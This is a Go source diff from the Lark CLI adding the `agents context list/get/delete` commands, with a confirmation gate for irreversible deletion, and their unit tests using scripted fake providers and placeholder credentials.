||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextDelete builds `agents context delete <ref> <ctx-id>`: destroy
|
||||
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
|
||||
// requires --yes; without it the command returns a confirmation_required error
|
||||
// (exit 10) before touching the API. Risk=high-risk-write.
|
||||
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "delete <agent_ref> <ctx-id>",
|
||||
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
|
||||
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
return agentContextDeleteRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10)")
|
||||
addParamFlag(cmd, &opts.Params)
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentContextListRun runs `context list`: resolves the provider, lists
|
||||
// contexts in the provider's most-recent-first order, and emits {contexts:[...]}
|
||||
// with meta.count through content-safety scanning (the rollup is derived from
|
||||
// untrusted agent activity).
|
||||
func agentContextListRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
|
||||
// unavailable_for_brand uniformly for every verb — even one it does not wire —
|
||||
// so it must precede the capability nil-gate below.
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE the client: context_list is derived from ListContexts
|
||||
// being wired, so a spec without it returns unsupported_capability offline.
|
||||
if spec.ListContexts.Handler == nil {
|
||||
return capabilityError(opts.Ref, "context list", iagents.CapContextList)
|
||||
}
|
||||
// Per-capability brand gate: applies only to a wired op.
|
||||
if err := opBrandGate(f, spec.ListContexts.Brands, opts.Ref, "context list"); err != nil {
|
||||
return err
|
||||
}
|
||||
vp, err := validateParams(opts.Params, spec.ListContexts.Params, iagents.VerbContextList, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
contexts, pageInfo, err := spec.ListContexts.Handler(opts.Cmd.Context(), rt,
|
||||
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Ordering is the provider's contract (most-recent-first), consistent across
|
||||
// and within pages — the CLI does not re-sort a page.
|
||||
if contexts == nil {
|
||||
contexts = []iagents.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
|
||||
}
|
||||
return scanAndEmitData(f, opts.Cmd, opts.Format,
|
||||
map[string]interface{}{"contexts": contexts},
|
||||
listMetaPage(len(contexts), pageInfo, contextListNext(opts, f, pageInfo)),
|
||||
func(w io.Writer) { printContextsTSV(w, contexts) })
|
||||
}
|
||||
|
||||
// contextListNext builds the next-page action for `context list`, replaying the
|
||||
// caller's ref with the returned cursor. The ref is gated by safeNextRef; a
|
||||
// failing ref drops the action (the cursor still rides meta.page_token as data).
|
||||
func contextListNext(opts *contextOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
|
||||
if !safeNextRef(opts.Ref) {
|
||||
return nil
|
||||
}
|
||||
next := nextPageAction(fmt.Sprintf("lark-cli agents context list %s", opts.Ref), opts.PageSize, info)
|
||||
carryAsIntoNext(opts.Cmd, f, next)
|
||||
return next
|
||||
}
|
||||
|
||||
// agentContextGetRun runs `context get`: resolves the provider, fetches the
|
||||
// context detail (metadata + rollup + the single active_task, NOT the full task
|
||||
// list), derives the active task's IsTerminal, and emits it through
|
||||
// content-safety scanning (active_task.Summary is untrusted agent text).
|
||||
func agentContextGetRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
|
||||
// unavailable_for_brand uniformly for every verb — even one it does not wire —
|
||||
// so it must precede the capability nil-gate below.
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE the client.
|
||||
if spec.GetContext.Handler == nil {
|
||||
return capabilityError(opts.Ref, "context get", iagents.CapContextGet)
|
||||
}
|
||||
// Per-capability brand gate: applies only to a wired op.
|
||||
if err := opBrandGate(f, spec.GetContext.Brands, opts.Ref, "context get"); err != nil {
|
||||
return err
|
||||
}
|
||||
vp, err := validateParams(opts.Params, spec.GetContext.Params, iagents.VerbContextGet, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
detail, err := spec.GetContext.Handler(opts.Cmd.Context(), rt, opts.CtxID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if detail != nil && detail.ActiveTask != nil {
|
||||
// Derive IsTerminal from State (single source of truth) for the active task
|
||||
// summary before emission — the provider only fills State.
|
||||
detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
|
||||
}
|
||||
return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
|
||||
func(w io.Writer) { printContextDetailPretty(w, detail) })
|
||||
}
|
||||
|
||||
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
|
||||
// first so a missing confirmation returns confirmation_required (exit 10) before
|
||||
// any provider is built and holds even under a nil Factory. Only a
|
||||
// confirmed delete reaches resolveSpec + DeleteContext.
|
||||
func agentContextDeleteRun(opts *contextOptions) error {
|
||||
if !opts.Yes {
|
||||
// Not the generic English RequireConfirmation: deletion is the most
|
||||
// destructive gate in the agent tree, so the message must state the
|
||||
// irreversible blast radius in the same voice (Chinese, self-contained)
|
||||
// as the other two exit-10 gates.
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents context delete",
|
||||
"删除会话将不可逆地移除该会话及其名下全部任务记录").
|
||||
WithHint("确认要删除后,加 --yes 重发")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
|
||||
// unavailable_for_brand uniformly for every verb — even one it does not wire —
|
||||
// so it must precede the capability nil-gate below.
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE the client.
|
||||
if spec.DeleteContext.Handler == nil {
|
||||
return capabilityError(opts.Ref, "context delete", iagents.CapContextDelete)
|
||||
}
|
||||
// Per-capability brand gate: applies only to a wired op.
|
||||
if err := opBrandGate(f, spec.DeleteContext.Brands, opts.Ref, "context delete"); err != nil {
|
||||
return err
|
||||
}
|
||||
vp, err := validateParams(opts.Params, spec.DeleteContext.Params, iagents.VerbContextDelete, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := spec.DeleteContext.Handler(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
578
cmd/agents/context_test.go
Normal file
578
cmd/agents/context_test.go
Normal file
@@ -0,0 +1,578 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextCmdCtx builds a `lark-cli agents context <leaf>` command whose --as flag
|
||||
// is set to bot so ResolveAs honors it verbatim, and carries a context.
|
||||
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agents"}
|
||||
grp := &cobra.Command{Use: "context"}
|
||||
l := &cobra.Command{Use: leaf}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(grp)
|
||||
grp.AddCommand(l)
|
||||
l.Flags().String("as", "", "identity")
|
||||
if err := l.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
l.SetContext(context.Background())
|
||||
return l
|
||||
}
|
||||
|
||||
// contextTestOpts wires a contextOptions against a real (test) Factory,
|
||||
// addressing the scripted fakeflow agent agt_x under a bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test; provider behavior is scripted via setScripted.
|
||||
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, reg := cmdutil.TestFactory(t, cfg)
|
||||
return &contextOptions{
|
||||
Factory: f,
|
||||
Cmd: contextCmdCtx(t, leaf),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
PageSize: defaultPageSize,
|
||||
}, reg
|
||||
}
|
||||
|
||||
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
|
||||
// confirmation_required error (exit 10), raised before any provider is built.
|
||||
func TestContextDeleteRequiresYes(t *testing.T) {
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
|
||||
if err == nil {
|
||||
t.Fatal("context delete without --yes should report confirmation_required")
|
||||
}
|
||||
if !errs.IsConfirmationRequired(err) {
|
||||
t.Fatalf("should be a confirmation_required error, got %T", err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit code should be 10, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("subtype should be confirmation_required, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
|
||||
// deletes the session, and emits a success envelope.
|
||||
func TestContextDeleteWithYes(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
var deleted string
|
||||
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
|
||||
deleted = ctxID
|
||||
return nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextDeleteRun(opts); err != nil {
|
||||
t.Fatalf("context delete --yes should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" || data["deleted"] != true {
|
||||
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
|
||||
}
|
||||
if deleted != "sess_1" {
|
||||
t.Errorf("provider should receive the context id to delete, got %q", deleted)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
|
||||
// (non-zero business code) after --yes passes.
|
||||
func TestContextDeleteProviderError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
setScripted(t, scriptedHooks{deleteContext: func(string) error {
|
||||
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextDeleteRun(opts); err == nil {
|
||||
t.Fatal("a DeleteContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
|
||||
// after the --yes confirmation guard passes.
|
||||
func TestContextDeleteInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListEmitsContexts pins that `context list` returns
|
||||
// {contexts:[...]} with a meta.count.
|
||||
func TestContextListEmitsContexts(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
return []iagents.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
{ContextID: "sess_2"},
|
||||
}, iagents.PageInfo{}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
contexts, ok := data["contexts"].([]interface{})
|
||||
if !ok || len(contexts) != 2 {
|
||||
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
|
||||
// contract: the provider returns contexts in most-recent-first order (its
|
||||
// contract), and the command emits them verbatim while carrying the updated_at /
|
||||
// awaiting_input rollup for each (task_count is a `context get` field, never a
|
||||
// list one).
|
||||
func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
return []iagents.ContextSummary{
|
||||
{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", AwaitingInput: true},
|
||||
{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z"},
|
||||
{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z"},
|
||||
}, iagents.PageInfo{}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
contexts, ok := data["contexts"].([]interface{})
|
||||
if !ok || len(contexts) != 3 {
|
||||
t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
|
||||
}
|
||||
want := []string{"new", "mid", "old"}
|
||||
for i, w := range want {
|
||||
c, _ := contexts[i].(map[string]interface{})
|
||||
if c["context_id"] != w {
|
||||
t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
|
||||
}
|
||||
}
|
||||
first, _ := contexts[0].(map[string]interface{})
|
||||
if first["updated_at"] != "2026-07-05T12:00:00Z" {
|
||||
t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
|
||||
}
|
||||
if _, ok := first["task_count"]; ok {
|
||||
t.Errorf("context list entries must not carry task_count, got %v", first["task_count"])
|
||||
}
|
||||
if first["awaiting_input"] != true {
|
||||
t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListPaginationMeta pins the command-level pagination envelope for
|
||||
// context list: a provider that returns a page plus PageInfo{HasMore,NextToken}
|
||||
// surfaces as meta.has_more / meta.page_token, and meta.next carries a "下一页"
|
||||
// action whose command replays the ref with --page-size / --page-token.
|
||||
func TestContextListPaginationMeta(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.PageSize = 2
|
||||
setScripted(t, scriptedHooks{listContexts: func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
if page.Size != 2 {
|
||||
t.Errorf("the hook should receive the requested page size 2, got %d", page.Size)
|
||||
}
|
||||
return []iagents.ContextSummary{
|
||||
{ContextID: "sess_1", UpdatedAt: "2026-07-05T12:00:00Z"},
|
||||
{ContextID: "sess_2", UpdatedAt: "2026-07-05T11:00:00Z"},
|
||||
},
|
||||
iagents.PageInfo{NextToken: "2", HasMore: true}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("paged context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if env.Meta == nil {
|
||||
t.Fatal("a paged list should carry meta")
|
||||
}
|
||||
if !env.Meta.HasMore {
|
||||
t.Error("meta.has_more should be true")
|
||||
}
|
||||
if env.Meta.PageToken != "2" {
|
||||
t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
|
||||
}
|
||||
found := false
|
||||
for _, n := range env.Meta.Next {
|
||||
if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents context list fakeflow:agt_x") &&
|
||||
strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("meta.next should contain a 下一页 action replaying the ref + --page-size/--page-token, got %+v", env.Meta.Next)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListError surfaces a provider ListContexts failure.
|
||||
func TestContextListError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
return nil, iagents.PageInfo{}, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextListRun(opts); err == nil {
|
||||
t.Fatal("a ListContexts error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextListInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
|
||||
// the task_count / awaiting_input rollup + a single active_task — and NO longer
|
||||
// a full tasks[] array (that moved to `agents task list --context-id`). The
|
||||
// active task's is_terminal is derived from State (input_required ⇒ false).
|
||||
func TestContextGetEmitsDetail(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
|
||||
return &iagents.ContextDetail{
|
||||
ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
|
||||
UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: iagents.Int(2), AwaitingInput: true,
|
||||
ActiveTask: &iagents.TaskSummary{
|
||||
TaskID: "chat_2", State: iagents.StateInputRequired,
|
||||
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
|
||||
},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextGetRun(opts); err != nil {
|
||||
t.Fatalf("context get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" {
|
||||
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
|
||||
}
|
||||
if data["title"] != "销售分析" {
|
||||
t.Errorf("data.title should be echoed, got %v", data["title"])
|
||||
}
|
||||
if data["task_count"] != float64(2) {
|
||||
t.Errorf("data.task_count should be 2, got %v", data["task_count"])
|
||||
}
|
||||
if data["awaiting_input"] != true {
|
||||
t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
|
||||
}
|
||||
if _, hasTasks := data["tasks"]; hasTasks {
|
||||
t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
|
||||
}
|
||||
active, ok := data["active_task"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data.active_task should be present, got %v", data["active_task"])
|
||||
}
|
||||
if active["task_id"] != "chat_2" {
|
||||
t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
|
||||
}
|
||||
if active["is_terminal"] != false {
|
||||
t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
|
||||
}
|
||||
if active["summary"] != "请提供季度" {
|
||||
t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetError surfaces a provider GetContext failure.
|
||||
func TestContextGetError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "get")
|
||||
opts.CtxID = "sess_1"
|
||||
setScripted(t, scriptedHooks{getContext: func(string) (*iagents.ContextDetail, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextGetRun(opts); err == nil {
|
||||
t.Fatal("a GetContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextGetInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListWithJq pins the --jq output branch for list: the filtered
|
||||
// value (not the full envelope) is what reaches stdout.
|
||||
func TestContextListWithJq(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
|
||||
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
return []iagents.ContextSummary{{ContextID: "sess_1"}}, iagents.PageInfo{}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --jq should not error: %v", err)
|
||||
}
|
||||
got := strings.TrimSpace(string(out.Bytes()))
|
||||
if got != "1" {
|
||||
t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
|
||||
}
|
||||
if strings.Contains(got, `"ok"`) {
|
||||
t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListEmptyEmitsArray pins the array convention: an empty context
|
||||
// list serializes as [] (never null), matching Card.Parameters.
|
||||
func TestContextListEmptyEmitsArray(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
return nil, iagents.PageInfo{}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
v, present := data["contexts"]
|
||||
if !present {
|
||||
t.Fatal("data.contexts key should be present")
|
||||
}
|
||||
if _, ok := v.([]interface{}); !ok {
|
||||
t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
|
||||
}
|
||||
if env.Meta != nil {
|
||||
t.Errorf("empty list should omit meta entirely (no ambiguous {} shape), got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListPretty exercises the --format pretty human-view branch for
|
||||
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
|
||||
// stripped of ANSI escapes.
|
||||
func TestContextListPretty(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
|
||||
return []iagents.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
}, iagents.PageInfo{}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list --format pretty should not error: %v", err)
|
||||
}
|
||||
s := string(out.Bytes())
|
||||
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
|
||||
t.Errorf("pretty output should start with a header row, got %q", s)
|
||||
}
|
||||
